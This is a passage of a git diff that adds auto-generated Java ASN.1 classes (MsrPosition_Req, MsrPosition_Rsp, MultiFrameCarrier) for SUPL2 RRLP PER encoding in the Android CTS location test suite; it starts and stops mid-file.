+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtensionContainer.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extensionContainer : "
+ + getExtensionContainer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel98_MsrPosition_Req_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel98_MsrPosition_Req_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel98_MsrPosition_Req_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel98_MsrPosition_Req_extension : "
+ + getExtensionRel98_MsrPosition_Req_extension().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel5_MsrPosition_Req_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel5_MsrPosition_Req_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel5_MsrPosition_Req_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel5_MsrPosition_Req_extension : "
+ + getExtensionRel5_MsrPosition_Req_extension().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel7_MsrPosition_Req_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel7_MsrPosition_Req_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel7_MsrPosition_Req_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel7_MsrPosition_Req_extension : "
+ + getExtensionRel7_MsrPosition_Req_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MsrPosition_Req = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Rsp.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Rsp.java
new file mode 100755
index 0000000..7656982
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Rsp.java
@@ -0,0 +1,765 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_extensiondatatypes.ExtensionContainer;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MsrPosition_Rsp extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MsrPosition_Rsp
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MsrPosition_Rsp() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MsrPosition_Rsp;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MsrPosition_Rsp != null) {
+ return ImmutableList.of(TAG_MsrPosition_Rsp);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MsrPosition_Rsp from encoded stream.
+ */
+ public static MsrPosition_Rsp fromPerUnaligned(byte[] encodedBytes) {
+ MsrPosition_Rsp result = new MsrPosition_Rsp();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MsrPosition_Rsp from encoded stream.
+ */
+ public static MsrPosition_Rsp fromPerAligned(byte[] encodedBytes) {
+ MsrPosition_Rsp result = new MsrPosition_Rsp();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private MultipleSets multipleSets_;
+ public MultipleSets getMultipleSets() {
+ return multipleSets_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultipleSets
+ */
+ public void setMultipleSets(Asn1Object value) {
+ this.multipleSets_ = (MultipleSets) value;
+ }
+ public MultipleSets setMultipleSetsToNewInstance() {
+ multipleSets_ = new MultipleSets();
+ return multipleSets_;
+ }
+
+ private ReferenceIdentity referenceIdentity_;
+ public ReferenceIdentity getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceIdentity
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (ReferenceIdentity) value;
+ }
+ public ReferenceIdentity setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new ReferenceIdentity();
+ return referenceIdentity_;
+ }
+
+ private OTD_MeasureInfo otd_MeasureInfo_;
+ public OTD_MeasureInfo getOtd_MeasureInfo() {
+ return otd_MeasureInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MeasureInfo
+ */
+ public void setOtd_MeasureInfo(Asn1Object value) {
+ this.otd_MeasureInfo_ = (OTD_MeasureInfo) value;
+ }
+ public OTD_MeasureInfo setOtd_MeasureInfoToNewInstance() {
+ otd_MeasureInfo_ = new OTD_MeasureInfo();
+ return otd_MeasureInfo_;
+ }
+
+ private LocationInfo locationInfo_;
+ public LocationInfo getLocationInfo() {
+ return locationInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationInfo
+ */
+ public void setLocationInfo(Asn1Object value) {
+ this.locationInfo_ = (LocationInfo) value;
+ }
+ public LocationInfo setLocationInfoToNewInstance() {
+ locationInfo_ = new LocationInfo();
+ return locationInfo_;
+ }
+
+ private GPS_MeasureInfo gps_MeasureInfo_;
+ public GPS_MeasureInfo getGps_MeasureInfo() {
+ return gps_MeasureInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_MeasureInfo
+ */
+ public void setGps_MeasureInfo(Asn1Object value) {
+ this.gps_MeasureInfo_ = (GPS_MeasureInfo) value;
+ }
+ public GPS_MeasureInfo setGps_MeasureInfoToNewInstance() {
+ gps_MeasureInfo_ = new GPS_MeasureInfo();
+ return gps_MeasureInfo_;
+ }
+
+ private LocationError locationError_;
+ public LocationError getLocationError() {
+ return locationError_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationError
+ */
+ public void setLocationError(Asn1Object value) {
+ this.locationError_ = (LocationError) value;
+ }
+ public LocationError setLocationErrorToNewInstance() {
+ locationError_ = new LocationError();
+ return locationError_;
+ }
+
+ private ExtensionContainer extensionContainer_;
+ public ExtensionContainer getExtensionContainer() {
+ return extensionContainer_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtensionContainer
+ */
+ public void setExtensionContainer(Asn1Object value) {
+ this.extensionContainer_ = (ExtensionContainer) value;
+ }
+ public ExtensionContainer setExtensionContainerToNewInstance() {
+ extensionContainer_ = new ExtensionContainer();
+ return extensionContainer_;
+ }
+
+
+
+ private Rel_98_MsrPosition_Rsp_Extension extensionRel_98_MsrPosition_Rsp_Extension;
+ public Rel_98_MsrPosition_Rsp_Extension getExtensionRel_98_MsrPosition_Rsp_Extension() {
+ return extensionRel_98_MsrPosition_Rsp_Extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel_98_MsrPosition_Rsp_Extension
+ */
+ public void setExtensionRel_98_MsrPosition_Rsp_Extension(Asn1Object value) {
+ extensionRel_98_MsrPosition_Rsp_Extension = (Rel_98_MsrPosition_Rsp_Extension) value;
+ }
+ public void setExtensionRel_98_MsrPosition_Rsp_ExtensionToNewInstance() {
+ extensionRel_98_MsrPosition_Rsp_Extension = new Rel_98_MsrPosition_Rsp_Extension();
+ }
+
+ private Rel_5_MsrPosition_Rsp_Extension extensionRel_5_MsrPosition_Rsp_Extension;
+ public Rel_5_MsrPosition_Rsp_Extension getExtensionRel_5_MsrPosition_Rsp_Extension() {
+ return extensionRel_5_MsrPosition_Rsp_Extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel_5_MsrPosition_Rsp_Extension
+ */
+ public void setExtensionRel_5_MsrPosition_Rsp_Extension(Asn1Object value) {
+ extensionRel_5_MsrPosition_Rsp_Extension = (Rel_5_MsrPosition_Rsp_Extension) value;
+ }
+ public void setExtensionRel_5_MsrPosition_Rsp_ExtensionToNewInstance() {
+ extensionRel_5_MsrPosition_Rsp_Extension = new Rel_5_MsrPosition_Rsp_Extension();
+ }
+
+ private Rel_7_MsrPosition_Rsp_Extension extensionRel_7_MsrPosition_Rsp_Extension;
+ public Rel_7_MsrPosition_Rsp_Extension getExtensionRel_7_MsrPosition_Rsp_Extension() {
+ return extensionRel_7_MsrPosition_Rsp_Extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel_7_MsrPosition_Rsp_Extension
+ */
+ public void setExtensionRel_7_MsrPosition_Rsp_Extension(Asn1Object value) {
+ extensionRel_7_MsrPosition_Rsp_Extension = (Rel_7_MsrPosition_Rsp_Extension) value;
+ }
+ public void setExtensionRel_7_MsrPosition_Rsp_ExtensionToNewInstance() {
+ extensionRel_7_MsrPosition_Rsp_Extension = new Rel_7_MsrPosition_Rsp_Extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultipleSets() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultipleSets();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultipleSetsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultipleSets.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multipleSets : "
+ + getMultipleSets().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceIdentity.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtd_MeasureInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtd_MeasureInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtd_MeasureInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MeasureInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otd_MeasureInfo : "
+ + getOtd_MeasureInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationInfo : "
+ + getLocationInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGps_MeasureInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGps_MeasureInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGps_MeasureInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_MeasureInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gps_MeasureInfo : "
+ + getGps_MeasureInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationError() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationError();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationErrorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationError.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationError : "
+ + getLocationError().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtensionContainer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionContainer();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionContainerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtensionContainer.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extensionContainer : "
+ + getExtensionContainer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel_98_MsrPosition_Rsp_Extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel_98_MsrPosition_Rsp_Extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel_98_MsrPosition_Rsp_ExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel_98_MsrPosition_Rsp_Extension : "
+ + getExtensionRel_98_MsrPosition_Rsp_Extension().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel_5_MsrPosition_Rsp_Extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel_5_MsrPosition_Rsp_Extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel_5_MsrPosition_Rsp_ExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel_5_MsrPosition_Rsp_Extension : "
+ + getExtensionRel_5_MsrPosition_Rsp_Extension().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel_7_MsrPosition_Rsp_Extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel_7_MsrPosition_Rsp_Extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel_7_MsrPosition_Rsp_ExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel_7_MsrPosition_Rsp_Extension : "
+ + getExtensionRel_7_MsrPosition_Rsp_Extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MsrPosition_Rsp = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameCarrier.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameCarrier.java
new file mode 100755
index 0000000..b90c997
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameCarrier.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MultiFrameCarrier extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MultiFrameCarrier
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MultiFrameCarrier() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MultiFrameCarrier;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MultiFrameCarrier != null) {
+ return ImmutableList.of(TAG_MultiFrameCarrier);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MultiFrameCarrier from encoded stream.
+ */
+ public static MultiFrameCarrier fromPerUnaligned(byte[] encodedBytes) {
+ MultiFrameCarrier result = new MultiFrameCarrier();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MultiFrameCarrier from encoded stream.
+ */
+ public static MultiFrameCarrier fromPerAligned(byte[] encodedBytes) {
+ MultiFrameCarrier result = new MultiFrameCarrier();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BCCHCarrier bcchCarrier_;
+ public BCCHCarrier getBcchCarrier() {
+ return bcchCarrier_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BCCHCarrier
+ */
+ public void setBcchCarrier(Asn1Object value) {
+ this.bcchCarrier_ = (BCCHCarrier) value;
+ }
+ public BCCHCarrier setBcchCarrierToNewInstance() {
+ bcchCarrier_ = new BCCHCarrier();
+ return bcchCarrier_;
+ }
+
+ private MultiFrameOffset multiFrameOffset_;
+ public MultiFrameOffset getMultiFrameOffset() {
+ return multiFrameOffset_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultiFrameOffset
+ */
+ public void setMultiFrameOffset(Asn1Object value) {
+ this.multiFrameOffset_ = (MultiFrameOffset) value;
+ }
+ public MultiFrameOffset setMultiFrameOffsetToNewInstance() {
+ multiFrameOffset_ = new MultiFrameOffset();
+ return multiFrameOffset_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBcchCarrier() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBcchCarrier();
+ }
+
+ @Override public void setToNewInstance() {
+ setBcchCarrierToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BCCHCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bcchCarrier : "
+ + getBcchCarrier().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultiFrameOffset() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultiFrameOffset();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultiFrameOffsetToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultiFrameOffset.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
